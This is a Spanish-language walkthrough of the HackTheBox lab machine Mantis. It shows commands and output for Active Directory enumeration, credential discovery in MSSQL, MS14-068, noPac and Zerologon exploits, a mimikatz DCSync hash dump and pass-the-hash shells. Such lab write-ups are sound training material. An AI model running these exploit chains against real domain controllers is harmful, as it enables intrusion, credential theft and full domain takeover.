xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Mantis



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos de AD abiertos entre ellos smb, kerberos y otros

❯ nmap 10.10.10.52
Nmap scan report for 10.10.10.52  
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1337/tcp  open  waste
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5722/tcp  open  msdfsr
8080/tcp  open  http-proxy
9389/tcp  open  adws
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49166/tcp open  unknown
49170/tcp open  unknown
49174/tcp open  unknown
50255/tcp open  unknown

Con crackmapexec podemos obtener información de la maquina asi como el dominio que es htb.local ademas del nombre que parece es mantis

❯ crackmapexec smb 10.10.10.52
SMB         10.10.10.52      445    MANTIS           [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:MANTIS) (domain:htb.local) (signing:True) (SMBv1:True)  

Para posibles proximos ataques o solo por comodidad agregaremos el dominio al /etc/hosts ademas el nombre de la máquina mantis como otro dominio

❯ echo "10.10.10.52 htb.local mantis.htb.local" | sudo tee -a /etc/hosts  

Al usar kerbrute pasandole un dicceionario de usuarios perteneciente a el repo de seclists logramos identificar solo a 3 usuarios existentes de parte del dominio

❯ kerbrute userenum -d htb.local --dc mantis.htb.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt  
    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

>  Using KDC(s):
>       mantis.htb.local:88

>  [+] VALID USERNAME:   administrator@htb.local
>  [+] VALID USERNAME:   james@htb.local
>  [+] VALID USERNAME:   mantis@htb.local

Con una lista de usuarios podemos probar un ASREPRoast, ninguno es vulnerable

❯ impacket-GetNPUsers htb.local/ -no-pass -usersfile users.txt
Impacket v0.11.0 - Copyright 2023 Fortra

[-] User james doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mantis doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set  

El puerto 8080 esta abierto en la máquina, sin embargo despues de buscar y probar diferentes vulnerabilidades no encontramos absolutamente nada interesante

También tenemos el puerto 1337 abierto, este puerto tambien corre una pagina web sin embargo la principal es solo un simple panel de IIS version 7 por defecto

Usando wfuzz podemos encontrar 2 directorios, sin embargo el directorio orchard nos devuelve un codigo de estado 500. secure_notes que nos devuelve un 301

❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://mantis.htb.local:1337/FUZZ -t 100 --hc 404  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://mantis.htb.local:1337/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000024818:   500        72 L     241 W      3026 Ch     "orchard"
000095776:   301        1 L      10 W       165 Ch      "secure_notes"

Al abrir el directorio /secure_notes podemos encontrar 2 archivos, el primero es un archivo con doble extensión .txt y el otro un web.config que llama la atencion

Aunque el web.config parece bastante interesante al abrirla nos devuelve 404


Access - admin


El archivo .txt contiene algunas notas, la numero 2 es bastante interesante, nos habla de algo de descargar MSSQLServer, crear un usuario admin y una db

Lo interesante esta en el nombre del archivo, este es un base64 que al decodearlo nos deja una cadena en hexadecimal y al decodearla parece una contraseña

❯ echo NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx | base64 -d
6d2424716c5f53405f504073735730726421

❯ echo NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx | base64 -d | xxd -ps -r  
m$$ql_S@_P@ssW0rd!

Las notas nos dice que el usuario es admin, asi que con crackmapexec comprobamos la contraseña para la db, esta autenticacion devuelve que es valida

❯ crackmapexec mssql mantis.htb.local -u admin -p 'm$$ql_S@_P@ssW0rd!' --local-auth
MSSQL       htb.local       1433   MANTIS           [*] Windows 6.1 Build 7601 (name:MANTIS) (domain:MANTIS)  
MSSQL       htb.local       1433   MANTIS           [+] admin:m$$ql_S@_P@ssW0rd!

Podemos simplemente usar mssqlclient para conectarnos como el usuario admin

❯ impacket-mssqlclient htb.local/admin:'m$$ql_S@_P@ssW0rd!'@mantis.htb.local
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(MANTIS\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(MANTIS\SQLEXPRESS): Line 1: Changed language setting to us_english.  
[*] ACK: Result: 1 - Microsoft SQL Server (120 7208)
[!] Press help for extra shell commands
SQL>


Access - james


Como este usuario no podemos habilitar el modulo xp_cmdshell para ejecutar comandos, iniciaremos enumerando las bases de datos existentes en el servidor

SQL> select name from sysdatabases;  

name
---------
master
tempdb
model
msdb
orcharddb

SQL>

Ya que solo parece interesante la base de datos orcharddb nos conectamos a ella con use, ya que el resto son las bases de datos que vienen por defecto en mssql

SQL> use orcharddb;
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: orcharddb
[*] INFO(MANTIS\SQLEXPRESS): Line 1: Changed database context to 'orcharddb'.  
SQL>

Enumerando las tablas de las bases de datos orcharddb podemos filtrar por aquellas que tengas la string user en ellas, solo encontramos 2 con esta condicion

SQL> select name from sys.tables where name like '%user%';  

name
--------------------------------------
blog_Orchard_Users_UserPartRecord
blog_Orchard_Roles_UserRolesPartRecord

SQL>

Finalmente listamos las columnas de una de las tablas anteriores, la cual contiene posibles credenciales de usuarios en las columnas UserName y Password

SQL> select name from sys.columns where object_id = object_id('blog_Orchard_Users_UserPartRecord');  

name
-------------------
Id
UserName
Email
NormalizedUserName
Password
PasswordFormat
HashAlgorithm
PasswordSalt
RegistrationStatus
EmailStatus
EmailChallengeToken
CreatedUtc
LastLoginUtc
LastLogoutUtc

SQL>

Al leer el contenido de estas columnas podemos encontrar 2 posibles credenciales validas, las de admin en base64 y las del usuario James en texto claro

SQL> select username,password from blog_Orchard_Users_UserPartRecord

username   password                                                            
--------   --------------------------------------------------------------------  
admin      AL1337E2D6YHm0iIysVzG8LA76OozgMSlyOJk1Ov5WCGK+lgKY6vrQuswfWHKZn2+A==
James      J@m3s_P@ssW0rd!                                                     

SQL>

Las credenciales del usuario James son validas, sin embargo al listar los recursos compartidos por SMB no tenemos privilegios realmente interesantes

❯ crackmapexec smb mantis.htb.local -u James -p J@m3s_P@ssW0rd!
SMB         htb.local       445    MANTIS           [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:MANTIS) (domain:htb.local) (signing:True) (SMBv1:True)  
SMB         htb.local       445    MANTIS           [+] htb.local\James:J@m3s_P@ssW0rd!

❯ crackmapexec smb mantis.htb.local -u James -p J@m3s_P@ssW0rd! --shares
SMB         htb.local       445    MANTIS           [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:MANTIS) (domain:htb.local) (signing:True) (SMBv1:True)  
SMB         htb.local       445    MANTIS           [+] htb.local\James:J@m3s_P@ssW0rd!
SMB         htb.local       445    MANTIS           [+] Enumerated shares
SMB         htb.local       445    MANTIS           Share           Permissions     Remark
SMB         htb.local       445    MANTIS           -----           -----------     ------
SMB         htb.local       445    MANTIS           ADMIN$                          Remote Admin
SMB         htb.local       445    MANTIS           C$                              Default share
SMB         htb.local       445    MANTIS           IPC$                            Remote IPC
SMB         htb.local       445    MANTIS           NETLOGON        READ            Logon server share
SMB         htb.local       445    MANTIS           SYSVOL          READ            Logon server share


Shell - Administrator


Curiosamente el usuario James pertenece al grupo Remote Desktop Users, sin embargo el puerto 3389 no esta abierto por lo que no podemos conectarnos

❯ crackmapexec smb mantis.htb.local -u James -p J@m3s_P@ssW0rd! --groups 'Remote Desktop Users'
SMB         htb.local       445    MANTIS           [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:MANTIS) (domain:htb.local) (signing:True) (SMBv1:True)  
SMB         htb.local       445    MANTIS           [+] htb.local\James:J@m3s_P@ssW0rd!
SMB         htb.local       445    MANTIS           [+] Enumerated members of domain group
SMB         htb.local       445    MANTIS           htb.local\james

La via principal es explotar la máquina es a través del MS14-068, podemos usar goldenPac pasandole las credenciales de James y obtener una shell como el usuario nt authority\system, usuario que tiene maximos privilegios sobre el equipo

❯ impacket-goldenPac htb.local/James:'J@m3s_P@ssW0rd!'@mantis.htb.local  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] User SID: S-1-5-21-4220043660-4019079961-2895681657-1103
[*] Forest SID: S-1-5-21-4220043660-4019079961-2895681657
[*] Attacking domain controller mantis.htb.local
[*] mantis.htb.local found vulnerable!
[*] Requesting shares on mantis.htb.local.....
[*] Found writable share ADMIN$
[*] Uploading file UUQRfehy.exe
[*] Opening SVCManager on mantis.htb.local.....
[*] Creating service FNmo on mantis.htb.local.....
[*] Starting service FNmo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>type C:\Users\James\Desktop\user.txt
552**************************e4a

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
6a1**************************50d

C:\Windows\system32>


Extra - Access RDP


Solo como extra para no estar explotando la vulnerabilidad en cada conexión podemos hacer un DCSync para dumpear los hashes NT usando mimikatz

C:\Windows\system32> .\mimikatz.exe 'lsadump::dcsync /domain:htb.local /user:Administrator' exit

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(commandline) # lsadump::dcsync /domain:htb.local /user:Administrator
[DC] 'htb.local' will be the domain
[DC] 'mantis.htb.local' will be the DC server
[DC] 'Administrator' will be the user account

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   : 
Password last change : 2/6/2018 3:52:39 AM
Object Security ID   : S-1-5-21-4220043660-4019079961-2895681657-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 22140219fd9432e584a355e54b28ecbb
    ntlm- 0: 22140219fd9432e584a355e54b28ecbb
    ntlm- 1: f56a8399599f1be040128b1dd9623c29
    ntlm- 2: 22140219fd9432e584a355e54b28ecbb
    ntlm- 3: cd8ec6b5d31a65994f198224737c1b5a
    ntlm- 4: 22140219fd9432e584a355e54b28ecbb
    ntlm- 5: cf3a5525ee9414229e66279623ed5c58
    lm  - 0: d462d8b323bb51510a7e8bc8b78f6154
    lm  - 1: 992508e37a5fe21fc43aa779f6031fcf
    lm  - 2: 7a55e665909f967c03ad0faa4025fd6f
    lm  - 3: ece24f1ea376fd00e95f53c0a21c7d8e
    lm  - 4: a130c51333587a4956555979c1cda480

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
    Default Salt : HTB.LOCALAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : c06d7bb2e780b417445f0f55c52399de2dbd206a383be45d407b376356cd9170  
      aes128_hmac       (4096) : ea5a1c528034eac55c6e97af85773352
      des_cbc_md5       (4096) : c2d65b4f7abab392
    OldCredentials
      aes256_hmac       (4096) : 943f155d96b74437cf7f8337497f42bfbac0b2f8d551c0f906f847434302d42a  
      aes128_hmac       (4096) : 260bf306c1643ff85170c18353fc0ef5
      des_cbc_md5       (4096) : b35b381cbf4c8ff2
    OlderCredentials
      aes256_hmac       (4096) : c06d7bb2e780b417445f0f55c52399de2dbd206a383be45d407b376356cd9170  
      aes128_hmac       (4096) : ea5a1c528034eac55c6e97af85773352
      des_cbc_md5       (4096) : c2d65b4f7abab392

* Primary:Kerberos *
    Default Salt : HTB.LOCALAdministrator
    Credentials
      des_cbc_md5       : c2d65b4f7abab392
    OldCredentials
      des_cbc_md5       : b35b381cbf4c8ff2

* Packages *
    Kerberos-Newer-Keys

* Primary:WDigest *
    01  5214ac55f3b2f763612bbfc12dc8a2b4
    02  47a3dfd25f8cd6020aafeca790c2e27a
    03  ab6c6ea069d99a6df69432c4f75976fd
    04  5214ac55f3b2f763612bbfc12dc8a2b4
    05  29d0d4558cfba2257d9749cd7a2ceb6a
    06  71c24c1c8ba550b44d1d99abe9c7f274
    07  60111235e0f941902575bcbee335a5ee
    08  b8d1648b1dac1a92685006a3622c8b7c
    09  5d99cee1f7ffb69af0247b064d0dc30d
    10  2d964bc7d89e3a7a3ddc93734b710787
    11  4a22420260805ce56e6b08f47ef2db1d
    12  b8d1648b1dac1a92685006a3622c8b7c
    13  7ad40f526cf067ab26ecd128766e338e
    14  0b7386c5d6fed7b938b141319bc38036
    15  fbbbf0f351e7d5032f55fe36d9df8abc
    16  afac3f0dd33110c906f84d724a742ec4
    17  9b95750d79dfa943a1217de22e097b12
    18  b8f019e7d12052c11f40659837d0606f
    19  9d8f977f6094c090dde998735c190662
    20  7794bcc0b9cbef4a5f6cb3c717144841
    21  572e13ce86b45c7836b6a565b53bda58
    22  1283dcc8c6086e162b139653455cd46f
    23  fa1622ffc909bf5d7d8665f02139a910
    24  b6117ad4c4231121a03377c055857e2f
    25  9226bbbd506776a25b6cf913a6e87f76
    26  9a372aed3608ab95de7a4552f724ed79
    27  280fd1b59b2673a617da0083ad5bb258
    28  2420ad61bf753115a3622738f23f5800
    29  153b0bf7884b442fc81a265a3c8effba


mimikatz(commandline) # exit
Bye!

C:\Windows\system32>

Al pasarle el hash NT del usuario Administrator a crackstation este logra crackearlo

Comprobamos la contraseña de Administrator con crackmapexec y devuelve Pwn3d!

❯ crackmapexec smb mantis.htb.local -u Administrator -p '@dm!n!$tr@t0r'
SMB         htb.local       445    MANTIS           [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:MANTIS) (domain:htb.local) (signing:True) (SMBv1:True)  
SMB         htb.local       445    MANTIS           [+] htb.local\Administrator:@dm!n!$tr@t0r (Pwn3d!)

En este punto hay muchas formas de conectarnos y obtener una shell, podemos usar psexec o directamente wmiexec y asi obtener una powershell semi-interactiva

❯ impacket-wmiexec htb.local/Administrator:'@dm!n!$tr@t0r'@mantis.htb.local -shell-type powershell  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> whoami
htb\administrator

PS C:\>

O si quisieramos conectarnos por RDP y asi obtener una interfaz grafica podriamos usar el modulo rdp de crackmapexec indicando como accion que lo habilite

❯ crackmapexec smb mantis.htb.local -u Administrator -p '@dm!n!$tr@t0r' -M rdp -o ACTION=enable
SMB         htb.local       445    MANTIS           [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:MANTIS) (domain:htb.local) (signing:True) (SMBv1:True)  
SMB         htb.local       445    MANTIS           [+] htb.local\Administrator:@dm!n!$tr@t0r (Pwn3d!)
RDP         htb.local       445    MANTIS           [+] RDP enabled successfully

Despues de hacerlo podemos ver que el puerto 3389 donde corre rdp se habilita

❯ nmap -p 3389 mantis.htb.local 
Nmap scan report for mantis.htb.local
PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Finalmente podemos conectarnos usando rdesktop con las credenciales de Administrator a la maquina y obtener una interfaz grafica interactiva

❯ rdesktop -u Administrator -p '@dm!n!$tr@t0r' -d htb.local mantis.htb.local  


Extra 2 - Administrator


Curiosamente en versiones algo antiguas de psexec al autenticarnos como James este no encuentra recursos compartidos donde puede escribir ni puede subir un exe, pero por alguna razon nos devuelve uns shell como nt authority\system

❯ python2 psexec.py htb.local/James:'J@m3s_P@ssW0rd!'@mantis.htb.local
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

[*] Trying protocol 445/SMB...

[*] Requesting shares on mantis.htb.local.....
[-] share 'ADMIN$' is not writable.
[-] share 'C$' is not writable.
[-] share 'NETLOGON' is not writable.
[-] share 'SYSVOL' is not writable.
[*] Uploading file kqTZLOso.exe
[-] Error uploading file kqTZLOso.exe, aborting.....
[-] Error performing the installation, cleaning up: 'NoneType' object has no attribute 'split'  
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>

Desde la interfaz grafica que conseguimos en RDP o con services de impacket encontramos con 2 servicios de 4 letras corriendo sin descripción, son IHXM y TZZW

❯ impacket-services htb.local/Administrator:'@dm!n!$tr@t0r'@mantis.htb.local list
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Listing services available on target
..................................................................................................................  
                          IHXM -                                                                   IHXM -  RUNNING
..................................................................................................................  
                          TZZW -                                                                   TZZW -  RUNNING
..................................................................................................................  

Si miramos la configuracion de ambas, estas cargan archivos exe con nombres raros

❯ impacket-services htb.local/Administrator:'@dm!n!$tr@t0r'@mantis.htb.local config -name IHXM  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Querying service config for IHXM
TYPE              : 16 -  SERVICE_WIN32_OWN_PROCESS  
START_TYPE        :  2 -  AUTO START
ERROR_CONTROL     :  0 -  IGNORE
BINARY_PATH_NAME  : C:\Windows\dZEyLGVN.exe
LOAD_ORDER_GROUP  : 
TAG               : 0
DISPLAY_NAME      : IHXM
DEPENDENCIES      : /
SERVICE_START_NAME: LocalSystem

❯ impacket-services htb.local/Administrator:'@dm!n!$tr@t0r'@mantis.htb.local config -name TZZW  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Querying service config for TZZW
TYPE              : 16 -  SERVICE_WIN32_OWN_PROCESS  
START_TYPE        :  2 -  AUTO START
ERROR_CONTROL     :  0 -  IGNORE
BINARY_PATH_NAME  : C:\Windows\EfuIvklz.exe
LOAD_ORDER_GROUP  : 
TAG               : 0
DISPLAY_NAME      : TZZW
DEPENDENCIES      : /
SERVICE_START_NAME: LocalSystem

Al revisar la fecha de creacion de los exe, encontramos que fueron creados en el año 2017 probablemente cuando se lanzo la maquina, estos parecen creados por psexec en la creacion de la maquina y en las pruebas se olvidaron de borrarlos

PS C:\> dir C:\Windows\EfuIvklz.exe

    Directory: C:\Windows

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---         8/31/2017   9:29 PM      56320 EfuIvklz.exe  

PS C:\> dir C:\Windows\dZEyLGVN.exe

    Directory: C:\Windows

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---          9/1/2017   1:00 PM      56320 dZEyLGVN.exe  

PS C:\>

Lo mas probable es que psexec al autenticarnos como james se sincronize con estos servicios asi que probemos a detenerlos para ver como se comporta psexec

❯ impacket-services htb.local/Administrator:'@dm!n!$tr@t0r'@mantis.htb.local stop -name IHXM  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Stopping service IHXM

❯ impacket-services htb.local/Administrator:'@dm!n!$tr@t0r'@mantis.htb.local stop -name TZZW  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Stopping service TZZW

Al correr de nuevo psexec esta vez no nos devuelve una shell, en resumen esta versión de psexec puede sincronizarse a un servicio si no se detiene correctamente

❯ python2 psexec.py htb.local/James:'J@m3s_P@ssW0rd!'@mantis.htb.local
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

[*] Trying protocol 445/SMB...

[*] Requesting shares on mantis.htb.local.....
[-] share 'ADMIN$' is not writable.
[-] share 'C$' is not writable.
[-] share 'NETLOGON' is not writable.
[-] share 'SYSVOL' is not writable.
[*] Uploading file VEAtvAZK.exe
[-] Error uploading file VEAtvAZK.exe, aborting.....
[-] Error performing the installation, cleaning up: 'NoneType' object has no attribute 'split'  
[*] Opening SVCManager on mantis.htb.local.....
[-] Error opening SVCManager on mantis.htb.local.....
[-] Error performing the uninstallation, cleaning up


Extra 3 - Administrator


Como alternativa podemos usar noPac, al explotarlo indicando el parametro -shell nos otorgara una cmd como el usuario nt authority\system directamente en el DC

❯ python3 noPac.py htb.local/James:J@m3s_P@ssW0rd! -use-ldap -shell -dc-ip 10.10.10.52

███    ██  ██████  ██████   █████   ██████ 
████   ██ ██    ██ ██   ██ ██   ██ ██      
██ ██  ██ ██    ██ ██████  ███████ ██      
██  ██ ██ ██    ██ ██      ██   ██ ██      
██   ████  ██████  ██      ██   ██  ██████ 
    
[*] Current ms-DS-MachineAccountQuota = 10
[*] Selected Target mantis.htb.local
[*] Total Domain Admins 1
[*] will try to impersonate Administrator
[*] Adding Computer Account "WIN-5EMDETHRGYN$"
[*] MachineAccount "WIN-5EMDETHRGYN$" password = Y7pZ8x1s@sy4
[*] Successfully added machine account WIN-5EMDETHRGYN$ with password Y7pZ8x1s@sy4.
[*] WIN-5EMDETHRGYN$ object = CN=WIN-5EMDETHRGYN,CN=Computers,DC=htb,DC=local
[*] WIN-5EMDETHRGYN$ sAMAccountName == mantis
[*] Saving a DC's ticket in mantis.ccache
[*] Reseting the machine account to WIN-5EMDETHRGYN$
[*] Restored WIN-5EMDETHRGYN$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating Administrator
[*] 	Requesting S4U2self
[*] Saving a user's ticket in Administrator.ccache
[*] Rename ccache to Administrator_mantis.htb.local.ccache
[*] Attempting to del a computer with the name: WIN-5EMDETHRGYN$
[-] Delete computer WIN-5EMDETHRGYN$ Failed! Maybe the current user does not have permission.  
[*] Pls make sure your choice hostname and the -dc-ip are same machine !!
[*] Exploiting..
[!] Launching semi-interactive shell - Careful what you execute

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>


Extra 4 - Administrator


Como alternativa podemos ejecutar la vuln de zerologon hacia el DC, el servidor es vulnerable y logramos cambiar la contraseña del equipo por una cadena vacia

❯ python3 cve-2020-1472-exploit.py MANTIS 10.10.10.52
Performing authentication attempts...
==========================================================================  
Target vulnerable, changing account password to empty string

Result: 0

Exploit complete!

Autenticandonos como el equipo MANTIS$ con una cadena vacia como contraseña podemos hacer un DCSync y ver los hashes NT de todos los usuarios del dominio

❯ crackmapexec smb mantis.htb.local -u MANTIS$ -p '' --ntds drsuapi
SMB         htb.local       445    MANTIS           [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:MANTIS) (domain:htb.local) (signing:True) (SMBv1:True)  
SMB         htb.local       445    MANTIS           [+] htb.local\MANTIS$: 
SMB         htb.local       445    MANTIS           [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         htb.local       445    MANTIS           [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         htb.local       445    MANTIS           Administrator:500:aad3b435b51404eeaad3b435b51404ee:22140219fd9432e584a355e54b28ecbb:::
SMB         htb.local       445    MANTIS           Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         htb.local       445    MANTIS           krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3e330665e47f7890603b5a96bbb31e23:::
SMB         htb.local       445    MANTIS           htb.local\james:1103:aad3b435b51404eeaad3b435b51404ee:71b5ea0a10d569ffac56d3b63684b3d2:::
SMB         htb.local       445    MANTIS           MANTIS$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Ya con el hash NT del usuario Administrator haciendo un passthehash podemos autenticarnos con psexec y obtener una shell como nt authority\system

❯ impacket-psexec htb.local/Administrator@mantis.htb.local -hashes :22140219fd9432e584a355e54b28ecbb  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on mantis.htb.local.....
[*] Found writable share ADMIN$
[*] Uploading file RfyqzLYf.exe
[*] Opening SVCManager on mantis.htb.local.....
[*] Creating service IVdS on mantis.htb.local.....
[*] Starting service IVdS.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32>